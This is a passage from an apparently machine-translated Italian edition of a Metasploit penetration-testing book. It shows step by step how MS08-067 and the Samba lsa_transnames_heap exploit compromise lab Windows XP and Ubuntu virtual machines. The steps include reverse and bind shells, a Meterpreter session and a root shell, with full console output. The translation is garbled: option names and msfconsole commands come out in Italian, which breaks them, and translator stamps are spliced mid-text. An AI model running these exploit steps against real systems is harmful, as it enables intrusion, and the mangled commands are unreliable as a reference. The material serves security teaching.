(192.168.1.101:40912 -> 192.168.1.115:15991) [*] (72/72 [1
sessioni]): In attesa di 2 moduli avviati per terminare l'esecuzione... [*] (72 /72 [1 sessioni]): In attesa di 0
moduli avviati per terminare l'esecuzione...

.
Sulla base di queste scansioni, Autopwn ha lanciato 72 exploit e uno ha avuto successo, come mostrato in Questo
exploit ci consente l'accesso completo alla macchina con una console Meterpreter che verrà discussa in modo molto
più approfondito nel Capitolo 6.

NOTA
Un grande avvertimento da ricordare quando si utilizza Autopwn: se si entra con le pistole Autopwn accese, il sistema di destinazione può
bloccarsi o perdere stabilità. Autopwn ha funzioni utili non trattate qui, come la possibilità di selezionare solo gli exploit che hanno una
classifica "Eccellente", il che significa che è molto improbabile che vadano in crash il sistema o il servizio remoto. Per ulteriori informazioni sul
suo utilizzo, immettere db_autopwn -h.
Machine Translated by Google
Capitolo 5. La gioia dello sfruttamento Lo sfruttamento è
l'apice della carriera di molti professionisti della sicurezza. La capacità di ottenere il pieno controllo su una
macchina mirata è una bella sensazione, anche se forse un po' spaventosa. Ma anche se le tecniche di
sfruttamento sono progredite parecchio nel corso degli anni, l'adozione di varie protezioni di sistema e di
rete ha reso sempre più difficile il successo con gli exploit di base. In questo capitolo, ci sposteremo verso
metodi di attacco più complessi, a cominciare dalle interfacce della riga di comando per Metasploit Framework.
La maggior parte degli attacchi e delle personalizzazioni discussi in questo capitolo si verificheranno in
msfconsole, msfencode e msfpayload.

Prima di iniziare a sfruttare i sistemi, è necessario comprendere alcune cose sui test di penetrazione e sullo sfruttamento.
Nel Capitolo 1 sono stati introdotti i metodi di base dei test di penetrazione. Nel Capitolo 2 hai appreso le basi del
Framework e cosa aspettarti da ogni strumento. Nel Capitolo 3 abbiamo esplorato la fase di raccolta di informazioni e nel
Capitolo 4 abbiamo appreso la scansione delle vulnerabilità.

In questo capitolo ci concentreremo sulle basi dello sfruttamento. Il nostro obiettivo è familiarizzare con i diversi comandi
disponibili attraverso il Framework, su cui ci occuperemo nei capitoli successivi. La maggior parte degli attacchi da questo
momento in poi avverrà tramite msfconsole e avrai bisogno di una solida conoscenza di msfconsole, msfpayload e
msfencode per ottenere il massimo dall'equilibrio di questo libro.

Sfruttamento di base Metasploit

Framework contiene centinaia di moduli ed è quasi impossibile ricordarli tutti. L'esecuzione di show da msfconsole
visualizzerà tutti i moduli disponibili nel Framework, ma puoi anche restringere la ricerca visualizzando solo tipi specifici
di moduli come discusso nelle sezioni seguenti.

msf> show exploit All'interno di


msfconsole, gli exploit operano contro le vulnerabilità che scopri durante un test di penetrazione. Nuovi exploit
vengono sempre sviluppati e l'elenco continuerà a crescere. Questo comando visualizzerà tutti gli exploit
attualmente disponibili all'interno del Framework.

msf> mostra ausiliari I moduli


ausiliari in Metasploit possono essere utilizzati per un'ampia gamma di scopi. Possono funzionare
come scanner, moduli di negazione del servizio, fuzzer e molto altro. Questo comando li visualizzerà ed
elencherà le loro caratteristiche.

msf> show options Le opzioni

controllano varie impostazioni necessarie per il corretto funzionamento dei moduli Framework. Quando esegui show
options mentre un modulo è selezionato, Metasploit visualizzerà solo le opzioni che si applicano a quel particolare modulo.
Se si accede a msf > show options quando non si è in un modulo, verranno visualizzate le opzioni globali disponibili, ad
esempio è possibile impostare LogLevel in modo che sia più dettagliato durante l'esecuzione di un attacco. Puoi anche
emettere il comando indietro per tornare indietro una volta all'interno di un modulo.
msf > usa windows/smb/ms08_067_netapi msf
exploit(ms08_067_netapi) > indietro
Machine
msf > Translated by Google

Il comando di ricerca è utile per trovare un attacco specifico, un modulo ausiliario o un carico utile. Per
ad esempio, se vuoi lanciare un attacco contro SQL, puoi cercare SQL in questo modo:

msf > cerca mssql


[*] Ricerca moduli caricati per pattern 'msql'...

Ausiliario
=========

Nome Classifica data di divulgazione Descrizione


---- --------------- ---- -----------
admin/mssql/mssql_enum normale
Configurazione di Microsoft SQL Server
Enumeratore
admin/mssql/mssql_exec normale
Microsoft SQL Server xp_cmdshell
Esecuzione del comando
admin/mssql/mssql_idf normale
Microsoft SQL Server - Interessante
Trova dati
admin/mssql/mssql_sql normale
Query generica di Microsoft SQL Server
scanner/mssql/mssql_login scanner/ normale utilità di accesso MSSQL
mssql/mssql_ping normale utilità ping di MSSQL
Exploit

. . . SPICCHIA. . .

msf >

Oppure, per trovare specificamente l'exploit MS08-067 (un exploit correlato al famigerato worm Conficker che
sfruttato una debolezza all'interno del servizio Remote Procedure Call [RPC]), inseriresti questo
comando:

msf > cerca ms08_067


[*] Ricerca moduli caricati per pattern 'ms08_067'...

Exploit
========

Nome Descrizione del grado


---- ---- -----------

windows/smb/ms08_067_netapi
grande danneggiamento dello stack del percorso relativo del servizio Microsoft Server

Quindi, dopo aver trovato un exploit (windows/smb/ms08_067_netapi), potresti caricare il modulo trovato
con il comando use , in questo modo:

msf > usa windows/smb/ms08_067_netapi


msf exploit(ms08_067_netapi) >

Si noti che quando emettiamo il comando use windows/smb/ms08_067_netapi , il prompt di msf cambia come
segue:

msf exploit(ms08_067_netapi) >

Ciò indica che abbiamo selezionato il modulo ms08_067_netapi e che i comandi sono stati emessi in questo momento
prompt verrà eseguito in quell'exploit.
Machine Translated by Google
NOTA

Puoi eseguire una ricerca o utilizzarlo in qualsiasi momento all'interno di un exploit per passare a un altro exploit o modulo.

Ora, con il prompt che riflette il nostro modulo scelto, possiamo inserire le opzioni di visualizzazione per visualizzare le opzioni
specifico per l'exploit MS08-067:

msf exploit(ms08_067_netapi) > mostra le opzioni

Opzioni del modulo:

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

ARROSTO sì L'indirizzo di destinazione


RAPPORTO 445 sì sì Impostare la porta del servizio SMB
BROWSER SMBPIPE Il nome della pipe da utilizzare (BROWSER, SRVSVC)

Sfrutta l'obiettivo:

Nome identificativo
-- ----

0 Targeting automatico

msf exploit(ms08_067_netapi) >

Questo approccio contestuale all'accesso alle opzioni semplifica l'interfaccia e consente di concentrarsi
solo sulle opzioni che contano al momento.

msf> mostra i carichi utili


Ricordiamo dal Capitolo 2 che i payload sono porzioni di codice specifiche della piattaforma consegnate a una destinazione. Come
con le opzioni show, quando esegui show payload da un prompt specifico del modulo, viene visualizzato Metasploit
solo i carichi utili compatibili con quel modulo. Nel caso di Microsoft Windows-based
exploit, questi payload possono essere semplici come un prompt dei comandi sulla destinazione o complessi come un completo
interfaccia grafica sulla macchina di destinazione. Per visualizzare un elenco attivo di payload, eseguire quanto segue
comando:

msf> mostra i carichi utili

Questo ti mostrerebbe tutti i payload disponibili in Metasploit; tuttavia, se sei in un vero exploit,

vedrai solo i payload applicabili all'attacco. Ad esempio, l'esecuzione di show payload da msf
exploit(ms08_067_netapi) risulterebbe nell'output mostrato di seguito.
Nell'esempio precedente abbiamo cercato il modulo MS08-067. Ora scopriamo i payload per
quel modulo inserendo show payloads. Si noti nell'esempio che lo sono solo i payload basati su Windows
mostrato. Metasploit in genere identificherà il tipo di payload che può essere utilizzato con un particolare
attacco.

msf exploit(ms08_067_netapi) > mostra i payload

Carichi compatibili
=====================

Nome Rango Descrizione


---- ---- -----------
. . . SPICCHIA.
Machine . Google
Translated by .

windows/shell/reverse_ipv6_tcp normale
Shell dei comandi di Windows, TCP inverso
Stager (IPv6)
windows/shell/reverse_nonx_tcp normale
Shell dei comandi di Windows, TCP inverso
Stager (nessun NX o Win7)
windows/shell/reverse_ord_tcp normale
Shell dei comandi di Windows, inverso

Stager TCP ordinale (nessun NX o Win7)


windows/shell/reverse_tcp normale
Shell dei comandi di Windows, TCP inverso
Stager
windows/shell/reverse_tcp_allports normale
Shell dei comandi di Windows, inverso
Stager TCP per tutte le porte
windows/shell_bind_tcp normale
Shell dei comandi di Windows, Associa TCP
In linea
windows/shell_reverse_tcp normale
Shell dei comandi di Windows, TCP inverso
In linea

Successivamente, inseriamo set payload windows/shell/reverse_tcp per selezionare il payload reverse_tcp . Quando noi
accedi di nuovo alle opzioni di visualizzazione, vediamo che vengono mostrate opzioni aggiuntive:

msf exploit(ms08_067_netapi) > imposta il payload windows/shell/reverse_tcp


carico utile => windows/shell/reverse_tcp

msf exploit(ms08_067_netapi) > mostra le opzioni

Opzioni del modulo:

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

ARROSTO sì L'indirizzo di destinazione


RAPPORTO 445 sì sì Impostare la porta del servizio SMB
BROWSER SMBPIPE Il nome della pipe da utilizzare (BROWSER, SRVSVC)

Opzioni di carico utile (windows/shell/reverse_tcp):

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

Discussione EXITFUNC sì Tecnica di uscita: seh, thread, process


LOST sì sì L'indirizzo locale
PORTO 4444 Il porto locale

,
Si noti che quando il carico utile è selezionato e le opzioni vengono visualizzate su ci viene presentato
,
alcune opzioni aggiuntive nella sezione del carico utile come LHOST e LPORT. In questo esempio, tu
potrebbe configurare il carico utile per riconnettersi alla macchina dell'attaccante su un indirizzo IP e una porta specifici
numero, chiamato carico utile inverso. Nei payload inversi, la connessione viene effettivamente attivata dal
macchina di destinazione e si connette all'attaccante. Potresti usare questa tecnica per aggirare un firewall
o installazione NAT.
Machine Translated
Configureremo questobyexploit
Googlecon entrambe le opzioni LHOST e RHOST . LHOST, la nostra macchina d'attacco, si
riconnetterà dalla macchina di destinazione (RHOST) sulla porta TCP predefinita (4444).

msf> mostra obiettivi I moduli

spesso elencano potenziali obiettivi vulnerabili. Ad esempio, poiché la vulnerabilità presa di mira da MS08-067 si basa
su indirizzi di memoria codificati, l'exploit è specifico per i sistemi operativi con livelli di patch, versione della lingua e
implementazioni di sicurezza specifici (come spiegato in dettaglio nel Capitolo 14 e nel Capitolo 15). L'utilizzo del comando
mostra target al prompt di msf MS08-067 visualizza un elenco di 60 target exploit (con solo una parte mostrata nell'esempio
seguente). Il successo dell'exploit dipenderà dalla versione di Windows a cui ti stai rivolgendo. A volte il rilevamento
automatico non funziona e potrebbe anche attivare l'exploit sbagliato, che di solito porta a un arresto anomalo del servizio.

msf exploit(ms08_067_netapi) > mostra gli obiettivi

Sfrutta gli obiettivi:

Nome identificativo
-- ----

0 Targeting automatico
1 Windows 2000 universale
2 Windows XP SP0/SP1 universale
3 Windows XP SP2 Inglese (NX)
4 Windows XP SP3 Inglese (NX)
5 Windows 2003 SP0 universale
6 Windows 2003 SP1 Inglese (NO NX)
7 Windows 2003 SP1 Inglese (NX)
8 Windows 2003 SP2 Inglese (NO NX)
9 Windows 2003 SP2 Inglese (NX)

In questo esempio, puoi vedere che l'exploit elenca il targeting automatico come un'opzione. Spesso, un modulo
exploit tenterà di indirizzare automaticamente il sistema operativo in base alla sua versione e selezionare un exploit in
base all'impronta digitale del sistema. Tuttavia, spesso è meglio cercare di identificare l'exploit appropriato per evitare
di innescare l'exploit sbagliato o potenzialmente distruttivo.

NOTA
Questo particolare exploit è capriccioso e ha difficoltà a determinare il sistema operativo. Se utilizzi questo exploit, assicurati di impostare
la destinazione come il sistema operativo specifico che utilizzi per il test sulla tua VM (Windows XP SP2).

Informazioni

Quando la breve descrizione di un modulo fornita dai comandi show e search non è sufficiente, utilizzare il comando info
seguito dal nome del modulo per visualizzare tutte le informazioni, le opzioni e le destinazioni disponibili per quel modulo:

msf exploit(ms08_067_netapi) > info

impostato e disinserito
Tutte le opzioni per un determinato modulo Metasploit devono essere impostate o deselezionate, specialmente se
contrassegnate come obbligatorie o sì. Quando inserisci le opzioni di visualizzazione, vedrai le informazioni che
specificano se un campo è obbligatorio. Utilizzare il comando set per impostare un'opzione (attivarla); usa unset per girare a
Machine Translated
scatenando. by Google
L'elenco successivo mostra i comandi di inserimento e disinserimento in uso.

NOTA

Si noti che le variabili sono referenziate utilizzando caratteri maiuscoli. Questo non è obbligatorio, ma è considerato una buona pratica.

msf exploit(ms08_067_netapi) > imposta RHOST 192.168.1.155


ARROSTO => 192.168.1.155

msf exploit(ms08_067_netapi) > imposta TARGET 3


OBIETTIVO => 3

msf exploit(ms08_067_netapi) > mostra le opzioni

Opzioni del modulo:

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

ARROSTO 192.168.1.155 sì L'indirizzo di destinazione


RAPPORTO 445 sì sì Impostare la porta del servizio SMB
BROWSER SMBPIPE Il nome della pipe da utilizzare (BROWSER, SRVSVC)

Sfrutta l'obiettivo:

Nome identificativo
-- ----

3 Windows XP SP2 Inglese (NX)

msf exploit(ms08_067_netapi) > disimposta RHOST


Disinserimento di RHOST...

A impostiamo l'indirizzo IP di destinazione (RHOST) su 192.168.1.155 (la nostra macchina di destinazione). A abbiamo impostato il
target a 3, il "Windows XP SP2 English (NX)" che abbiamo elencato con show target in msf> show

target in msf> mostra target. L'esecuzione delle opzioni dello spettacolo su conferma che le nostre impostazioni sono state
popolato, come mostrato nell'output delle opzioni del modulo .

imposta e disimposta
I comandi setg e unsetg vengono utilizzati per impostare o annullare l'impostazione di un parametro a livello globale all'interno di msfconsole. Usando
questi comandi possono evitarti di dover reinserire le stesse informazioni ripetutamente, in particolare in
il caso di opzioni usate di frequente che cambiano raramente, come LHOST.

Salva
Dopo aver configurato le opzioni globali con il comando setg , usa il comando save per salvare la tua corrente
impostazioni in modo che siano disponibili la prossima volta che esegui la console. Puoi inserire il comando di salvataggio in
in qualsiasi momento in Metasploit per salvare la tua posizione attuale.

msf exploit(ms08_067_netapi) > salva


Configurazione salvata in: /root/.msf3/config
msf exploit(ms08_067_netapi) >

Sullo schermo viene visualizzata la posizione in cui è archiviata la configurazione, /root/.msf3/config. Se per
per qualche motivo è necessario ricominciare da capo, spostare o eliminare questo file per ripristinare le impostazioni predefinite.
Machine Translated by Google

Sfruttare la tua prima macchina


Con alcune delle nozioni di base alle spalle e una comprensione di come impostare le variabili all'interno di msfconsole,
sfruttiamo la nostra prima macchina. Per fare ciò, avvia Windows XP Service Pack 2 e Ubuntu 9.04
macchine virtuali. Useremo Metasploit da Back|Track.

Se hai utilizzato gli scanner di vulnerabilità discussi nel Capitolo 4 contro il tuo Windows XP SP2 virtuale
macchina, avrete riscontrato la vulnerabilità che sfrutteremo in questo capitolo: la MS08-067
sfruttare. Inizieremo trovando questa vulnerabilità da soli.

Man mano che le tue abilità come tester di penetrazione migliorano, la scoperta di determinate porte aperte scatenerà idee
su come sfruttare un particolare servizio. Uno dei modi migliori per condurre questo controllo è
usando le opzioni di script di nmap all'interno di Metasploit come mostrato qui:

root@bt:/root# cd /opt/framework3/msf3/
root@bt:/opt/framework3/msf3# msfconsole

. . . SPICCHIA. . .

msf > nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130


[*] exec: nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130

A partire da Nmap 5.20 ( http://nmap.org ) alle 19:46 EDT 2011-03-15


Avvertenza: Traceroute non supporta la scansione inattiva o connessa, disabilitando...
NSE: Scansione script completata.
Rapporto di scansione Nmap per 192.168.33.130
L'host è attivo (0,00050 di latenza).
Non mostrato: 991 porte chiuse
PORT STATE SERVICE 21/tcp VERSIONE
open ftp 25/tcp open smtp 80/ Microsoft FTP
tcp open http 135/tcp open Microsoft ESMTP 6.0.2600.2180
msrpc 139/tcp open netbios-ssn Server web Microsoft IIS 5.1
Microsoft Windows RPC

443/tcp aperto https?


445/tcp apri microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp apre msrpc Microsoft Windows RPC
1433/tcp aperto ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM
Indirizzo MAC: 00:0C:29:EA:26:7C (VMware)
Tipo di dispositivo: uso generale
In esecuzione: Microsoft Windows XP|2003
Dettagli del sistema operativo: Microsoft Windows XP Professional SP2 o Windows Server 2003
Distanza di rete: 1 salto
Informazioni sul servizio: Host: ihazsecurity; Sistema operativo: Windows

Risultati dello script host:


smb-check-vulns:

MS08-067: VULNERABILE
Conficker: Probabilmente PULITO
regsvc DoS: CHECK DISABLED (aggiungi '--script-args=unsafe=1' per eseguire)
SMBv2 DoS (CVE-2009-3103): CONTROLLO DISABILITATO (aggiungi '--script-args=unsafe=1' per eseguire)

Rilevamento del sistema operativo e del servizio eseguito. Si prega di segnalare eventuali errori
risultati su http://nmap.org/submit/ .
Nmap fatto: 1 indirizzo IP (1 host up) scansionato in 71,67 secondi
msf >
Machine Translated by Google
.
Qui, chiamiamo nmap da Metasploit con il plug-in --script=smb-check-vulns in Notare i flag usati durante la scansione dell'host
con nmap. -sT è una connessione TCP Stealth, che abbiamo riscontrato essere il flag più affidabile quando si tenta di enumerare
le porte. (Altri preferiscono -sS, o Stealth Syn.) -A specifica il rilevamento avanzato del sistema operativo, che esegue per noi
alcune prese di banner aggiuntivi e il footprinting di un servizio specifico.

.
Notare nei risultati di nmap che MS08-067: VULNERABLE è riportato in Questo è un buon indicatore che abbiamo la possibilità
di sfruttare questo sistema. Usiamo Metasploit per trovare l'exploit che vogliamo e tentiamo di compromettere il sistema.

Questo exploit è specifico della versione del sistema operativo, del service pack e della lingua in uso nel sistema, a causa
dell'exploit che bypassa la prevenzione dell'esecuzione dei dati (DEP). DEP è stato creato per aiutare a proteggere dagli
attacchi di buffer overflow rendendo lo stack di sola lettura e quindi impedendo l'esecuzione di shellcode arbitrariamente
posizionato. Tuttavia, possiamo bypassare DEP e forzare Windows a rendere lo stack scrivibile eseguendo alcune complesse
manipolazioni dello stack. (Per ulteriori informazioni su come bypassare DEP, vedere http://www.uninformed.org/?v=2&a=4.)

In msf> show target in msf> show target, abbiamo usato il comando show target , che elenca ogni versione vulnerabile per
questo specifico vettore di attacco. Poiché MS08-067 è un exploit molto specifico per quanto riguarda la versione del sistema
operativo in uso, imposteremo manualmente il nostro obiettivo per assicurarci di attivare l'overflow corretto. Sulla base dei risultati

della scansione di nmap mostrati nell'esempio precedente, possiamo dire che il sistema esegue Windows XP Service Pack 2. (È
anche identificato come possibilmente Windows 2003, ma nel sistema mancano le porte chiave che sarebbero associate al Server
Edition.) Daremo per scontato che il nostro target esegua la versione inglese di XP.

Esaminiamo lo sfruttamento vero e proprio. Innanzitutto la configurazione:

msf > cerca ms08_067_netapi [*] Ricerca


moduli caricati per pattern 'ms08_067_netapi'...

Exploit
========

Nome Descrizione del grado


---- ---- -----------

windows/smb/ms08_067_netapi ottimo Microsoft Server


Corruzione dello stack del percorso relativo del servizio

msf > usa windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > imposta PAYLOAD windows/meterpreter/reverse_tcp payload => windows/


meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > mostra gli obiettivi

Sfrutta gli obiettivi:

Nome identificativo
-- ----

0 Targeting automatico
1 Windows 2000 universale
2 Windows XP SP0/SP1 universale

3 Windows XP SP2 Inglese (NX)


4 Windows XP SP3 Inglese (NX)
5 Windows
Machine 2003
Translated bySP0 universale
Google
6 Windows 2003 SP1 Inglese (NO NX)
7 Windows 2003 SP1 Inglese (NX)
8 Windows 2003 SP2 Inglese (NO NX)
9 Windows 2003 SP2 Inglese (NX)

. . . SPICCHIA. . .

26 Windows XP SP2 giapponese (NX)

. . . SPICCHIA. . .

msf exploit(ms08_067_netapi) > imposta TARGET 3


obiettivo => 3

msf exploit(ms08_067_netapi) > imposta RHOST 192.168.33.130


ARROSTO => 192.168.33.130

msf exploit(ms08_067_netapi) > imposta LHOST 192.168.33.129


LHOST => 192.168.33.129

msf exploit(ms08_067_netapi) > imposta LPORT 8080


PORTO => 8080

msf exploit(ms08_067_netapi) > mostra le opzioni

Opzioni del modulo:

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

RHOST 192.168.33.130 si RPORT 445 si L'indirizzo di destinazione


BROWSER SMBPIPE si Impostare la porta del servizio SMB
Il nome della pipe da utilizzare (BROWSER, SRVSVC)

Opzioni di carico utile (windows/meterpreter/reverse_tcp):

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

Discussione EXITFUNC si Tecnica di uscita: seh, thread, process


LOST 192.168.33.129 si 8080 si L'indirizzo locale
PORTO Il porto locale

Sfrutta l'obiettivo:

Nome identificativo
-- ----

3 Windows XP SP2 Inglese (NX)

Cerchiamo l'exploit NetAPI MS08-067 nel Framework e carichiamo l'exploit . Poi, trovata la nostra impresa,
windows/smb/ms08_067_netapi in .

Successivamente, impostiamo il payload come Reverse_tcp di Meterpreter basato su Windows, che, in caso di esito positivo, lo farà
avviare una connessione sulla macchina di destinazione e riconnettersi alla macchina attaccante specificata con
LOST. Questo è importante se trovi che è presente un firewall e devi bypassare l'ingresso
controlli su un firewall o NAT.

Meterpreter è uno strumento di post sfruttamento che useremo in questo libro. Uno dei fiori all'occhiello di Metasploit
strumenti, semplifica notevolmente l'estrazione di informazioni o l'ulteriore compromissione dei sistemi.
Machine Translated by Google
Il comando mostra obiettivi a ci consente di identificare il sistema che vogliamo prendere di mira. (Anche se molti
Gli exploit di MSF utilizzano il targeting automatico e non richiedono questo flag, generalmente la capacità di rilevamento automatico
non riesce in MS08-067.)

Abbiamo quindi impostato il nostro obiettivo su Windows XP SP2 English . NX sta per No Execute. Per impostazione predefinita
(NX) in Windows XP SP2, DEP è abilitato.

A impostiamo l'indirizzo IP della nostra macchina target a cui, definendo il valore RHOST , è vulnerabile
l'exploit MS08-067.

Il comando set LHOST at specifica l'indirizzo IP della nostra macchina attaccante (la macchina Back|Track),
e l' opzione LPORT in specifica la porta su cui la nostra macchina attaccante ascolterà una connessione
dal nostro obiettivo. (Quando si imposta l' opzione LPORT , utilizzare una porta standard che si pensa sarà
consentito attraverso il firewall: le porte 443, 80, 53 e 8080 sono spesso buone opzioni. Infine, entriamo
mostra le opzioni in per assicurarti che le opzioni siano impostate correttamente.

Dopo aver preparato il terreno, siamo pronti per condurre lo sfruttamento vero e proprio:

msf exploit(ms08_067_netapi) > exploit


[*] Ha avviato il gestore inverso il 192.168.33.129:8080
[*] Attivazione della vulnerabilità...
[*] Fase di invio (748032 byte)

[*] Sessione Meterpreter 1 aperta (192.168.33.129:8080 -> 192.168.33.130:1487)

msf exploit(ms08_067_netapi) > sessioni -l

Sessioni Attive
================

Tipo di identificazione Connessione informativa


-- ---- ----------- ----------

1 metroprete 192.168.33.129:8080 -> 192.168.33.130:1036

msf exploit(ms08_067_netapi) > sessioni -i 1


[*] Iniziare l'interazione con 1...

meterpreter > conchiglia


Processo 4060 creato.
Canale 1 creato.
Microsoft Windows XP [versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\sistema32>

Il comando exploit at avvia il nostro exploit e tenta di attaccare il bersaglio. L'attacco riesce
e ci fornisce un payload Meterpreter reverse_tcp a . Solo , che possiamo visualizzare con le sessioni -l at
una sessione è attiva, come mostrato in ma se
, abbiamo preso di mira più sistemi, potrebbero esserlo diverse sessioni
aprire contemporaneamente. (Per visualizzare un elenco degli exploit che hanno creato ciascuna sessione, immettere
sessioni -l -v.)

Il comando sessioni -i 1 viene emesso a per "interagire" con una singola sessione. Si noti che questo
ci fa cadere in un guscio Meterpreter. Se, ad esempio, esisteva una shell di comando inversa, questo comando
Machine Translated by Google
ci porterebbe direttamente a un prompt dei comandi. E, infine, entriamo nella shell per passare a
una shell di comandi interattiva sul target.
Congratulazioni! Hai appena compromesso la tua prima macchina! Per elencare i comandi disponibili per
un particolare exploit, puoi inserire show options.
Machine Translated by Google

Sfruttare una macchina Ubuntu


Proviamo un exploit diverso su una macchina virtuale Ubuntu 9.04. I passaggi sono più o meno gli stessi di
per l'exploit precedente, tranne per il fatto che selezioneremo un carico utile diverso.

msf > nmap -sT -A -P0 192.168.33.132


[*] esegui: nmap -sT -A -P0 192.168.33.132

A partire da Nmap 5.20 ( http://nmap.org ) alle 19:35 EDT 2011-03-15


Avvertenza: Traceroute non supporta la scansione inattiva o connessa, disabilitando...
Rapporto di scansione Nmap per 192.168.33.132
L'host è attivo (latenza 0,00048s).
Non mostrato: 997 porte chiuse
PORTA SERVIZIO DI STATO VERSIONE

80/tcp open http |_html- Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1)


title: Indice di /

139/tcp open netbios-ssn Samba smbd 3.X (gruppo di lavoro: MSHOME)


445/tcp open netbios-ssn Samba smbd 3.X (gruppo di lavoro: MSHOME)
Indirizzo MAC: 00:0C:29:21:AD:08 (VMware)
Nessuna corrispondenza esatta del sistema operativo per l'host (se sai quale sistema operativo è in esecuzione
su di esso, vedere http://nmap.org/submit/).

. . . SPICCHIA. . .

Risultati dello script host:


|_nbstat: nome NetBIOS: UBUNTU, utente NetBIOS: <sconosciuto>, MAC NetBIOS: <sconosciuto>
|_smbv2-enabled: il server non supporta il protocollo SMBv2
| smb-os-scoperta:
| Sistema operativo: Unix (Samba 3.0.24)
| Nome: MSHOME\Sconosciuto
|_ Ora di sistema: 15-03-2011 17:39:57 UTC-4

Rilevamento del sistema operativo e del servizio eseguito. Si prega di segnalare eventuali errori
risultati su http://nmap.org/submit/ .
Nmap fatto: 1 indirizzo IP (1 host up) scansionato in 47,11 secondi

Vediamo tre porte aperte: 80, 139 e 445. Il messaggio a ci dice che il sistema è in esecuzione
Ubuntu, e vediamo che sta eseguendo una versione di Samba 3.x e Apache 2.2.3 con PHP 5.2.1.

Cerchiamo un exploit Samba e lo proviamo contro il sistema:


msf > cerca samba
[*] Ricerca moduli caricati per pattern 'samba'...

Ausiliario
=========
Nome Rango Descrizione
---- ---- -----------
admin/smb/samba_symlink_traversal normale Samba Symlink Directory Traversal
dos/samba/lsa_addprivs_heap dos/ normale Samba lsa_io_privilege_set Heap Overflow
samba/lsa_transnames_heap normale Samba lsa_io_trans_names Heap Overflow

Exploit
========

Nome Rango Descrizione


---- ---- -----------
Machine Translated by Google
linux/samba/lsa_transnames_heap Buona Samba lsa_io_trans_names . . .

. . . SPICCHIA. . .

msf > usa linux/samba/lsa_transnames_heap


msf exploit(lsa_transnames_heap) > mostra i payload
Carichi compatibili
=====================

Nome Rango Descrizione


---- ---- -----------
generico/debug_trap normale trap di debug x86 generico
generico/shell_bind_tcp generico/ normale Shell dei comandi generici, Bind TCP Inline
shell_reverse_tcp linux/x86/adduser normale shell di comando generico, inverso TCP in linea
linux/x86/chmod linux/x86/exec linux/ normale Linux Aggiungi utente
x86/metsvc_bind_tcp linux/x86/ normale Linux Chmod
metsvc_reverse_tcp normale comando di esecuzione di Linux
normale Linux Meterpreter Service, Bind TCP
normale contatore Linux
Servizio, TCP inverso in linea
linux/x86/shell/bind_ipv6_tcp normale shell dei comandi Linux,
Associa TCP Stager (IPv6)
linux/x86/shell/bind_tcp normale Linux Command Shell, Bind TCP Stager

. . . SPICCHIA. . .

msf exploit(lsa_transnames_heap) > imposta il payload linux/x86/shell_bind_tcp


carico utile => linux/x86/shell_bind_tcp
msf exploit(lsa_transnames_heap) > imposta LPORT 8080
PORTO => 8080
msf exploit(lsa_transnames_heap) > imposta RHOST 192.168.33.132
ARROSTO => 192.168.33.132
msf exploit(lsa_transnames_heap) > exploit

[*] Creazione slitta nop....


[*] Gestore di associazione avviato
[*] Tentativo di sfruttare Samba con indirizzo 0xffffe410...
[*] Connessione al servizio SMB...

. . . SPICCHIA. . .

[*] Chiamare la funzione vulnerabile...


[+] Il server non ha risposto, è previsto
[*] Sessione della shell di comando 1 aperta (192.168.33.129:41551 -> 192.168.33.132:8080)
ifconfig
eth1 Link encap:Ethernet HWaddr 00:0C:29:21:AD:08
inet addr:192.168.33.132 Bcast:192.168.33.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metrico:1
Pacchetti RX: 3178 errori: 0 eliminati: 0 superamenti: 0 frame: 0
Pacchetti TX:2756 errori:0 eliminati:0 superamenti:0 vettore:0
collisioni:0 txqueuelen:1000
Byte RX:292351 (285,4 KiB) Byte TX:214234 (209,2 KiB)
Interruzione:17 Indirizzo di base:0x2000

esso Link encap:Local Loopback


inet addr:127.0.0.1 Mask:255.0.0.0
SU LOOPBACK IN ESECUZIONE MTU:16436 Metrica:1
Pacchetti RX:0 errori:0 eliminati:0 superamenti:0 frame:0
Pacchetti TX:0 errori:0 eliminati:0 superamenti:0 vettore:0
collisioni:0 txqueuelen:0
Machine Translated
Byteby Google
RX:0 (0,0 b) Byte TX:0 (0,0 b)

chi sono
radice

Questo tipo di exploit, chiamato attacco basato su heap, sfrutta l'allocazione dinamica della memoria, ma non è affidabile
al 100%. (Potrebbe essere necessario provare il comando exploit alcune volte se non funziona la prima volta.)

Si noti in questo esempio che abbiamo usato una shell di collegamento per impostare una porta listener sulla
macchina di destinazione; Metasploit gestisce automaticamente per noi la connessione diretta al sistema. (Ricordati
di utilizzare il payload inverso quando attacchi tramite un firewall o NAT.)
Machine Translated by Google

Carico utile per tutte le porte: porte di forza bruta


Negli esempi precedenti, abbiamo fatto affidamento sul fatto che la porta inversa fosse sempre aperta. Ma se lo fossimo
attaccare un'organizzazione con un filtro delle porte di uscita molto rigoroso? La maggior parte delle aziende blocca l'uscita
connessioni ad eccezione di quelle da alcune porte definite e può essere difficile determinare quali porte possono farlo
effettuare collegamenti in uscita.

Possiamo immaginare che la porta 443 non verrà ispezionata e consentirà l'uscita di una connessione TCP e che FTP,
Telnet, SSH e HTTP potrebbero essere consentiti. Ma perché indovinare quando Metasploit ha un carico utile molto specifico
per l'uso nella ricerca di porte aperte?

Il payload di Metasploit proverà tutte le porte disponibili finché non ne trova una aperta. (Ripercorrendo l'intero
tuttavia, l'intervallo di porte [1–65535] può richiedere molto tempo.)

Usiamo questo carico utile e proviamo tutte le porte che si connettono in uscita fino a quando non ne otteniamo una che abbia successo:

msf > usa windows/smb/ms08_067_netapi


msf exploit(ms08_067_netapi) > imposta LHOST 192.168.33.129
lhost => 192.168.33.129
smsf exploit(ms08_067_netapi) > imposta RHOST 192.168.33.130
arrosto => 192.168.33.130
msf exploit(ms08_067_netapi) > imposta TARGET 3
